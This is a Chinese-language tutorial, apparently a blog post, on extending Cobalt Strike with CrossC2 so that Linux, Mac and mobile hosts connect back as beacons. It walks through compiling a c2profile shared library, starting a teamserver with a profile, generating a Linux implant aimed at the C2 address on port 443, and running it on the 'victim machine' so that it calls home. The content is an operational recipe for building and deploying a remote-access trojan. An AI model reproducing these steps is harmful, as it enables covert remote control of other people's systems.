概述
传统的cs只支持win机子上线,github开源项目CrossC2(https://github.com/gloxec/CrossC2)支持Linux/Mac/Android/IOS平台Beacon上线,
另外CrossC2当前仅支持>=4.1版本
环境
- 客户端:cs4.2(mac)
- 受害机:centos7
- CrossC2 2.2.4版本(https://github.com/gloxec/CrossC2/releases/tag/v2.2.4)
步骤
-
下载https://github.com/gloxec/CrossC2/releases/tag/v2.2.4中的genCrossC2.MacOS,用来在mac客户端下生成cs马,其他客户端就选择其他的。https://github.com/gloxec/CrossC2/tree/v2.2.4/src中下载CrossC2.cna
-
打开CrossC2.cna,修改
$CC2_PATH
为你CrossC2的绝对路径,修改$CC2_BIN
为genCrossC2.MacOS(根据1中系统类型下的文件名字:genCrossC2.xxx)
-
实战中不会不带Profile就直接上线,如果要带profile,需要通过CrossC2的通信协议API,编译生成.so文件。才能生成linux下最终的cs马(https://gloxec.github.io/CrossC2/zh_cn/protocol/)。
-
此处以作者自带的c2profile.c文件为例(https://github.com/gloxec/CrossC2/blob/v2.2.4/protocol_demo/c2profile.c)。攻击者在生成马之前必须通过该c2profile.c编译生成so,再通过该so生成最终的linux马。
c2profile.c文件核心作用即告诉beacon按照c2profile.c代码逻辑编写的逻辑构造/解数据包
gcc c2profile.c -fPIC -shared -o lib_rebind_test.so
编译生成so文件。
这里必须注意,编译so的机器环境最好和受害机完全一致,否则存在最终cs马无法上线的可能性,详见github issue:https://github.com/gloxec/CrossC2/issues/85
-
同样作者提供了https.profile样例文件(https://github.com/gloxec/CrossC2/blob/v2.2.4/protocol_demo/https.profile),用于cs服务端使用,与c2profile.c文件逻辑相对应。
./teamserver x.x.x.x 123456 https.profile
起cs服务端
-
./genCrossC2.macos x.x.x.x 443 ./.cobaltstrike.beacon_keys lib_rebind_test.so Linux x64 /xx/Desktop/test
生成最终的cs马
-
cs上起listener,由于CrossC2仅支持https的beacon,所以payload只能用Beacon HTTPS,ip和端口与6中x.x.x.x 443相对应
-
受害机上直接执行刚刚生成的马,即可成功上线
-
使用者也可自定义c2profile.c文件逻辑和cs的profile,github上相关样例很多,此处不再赘述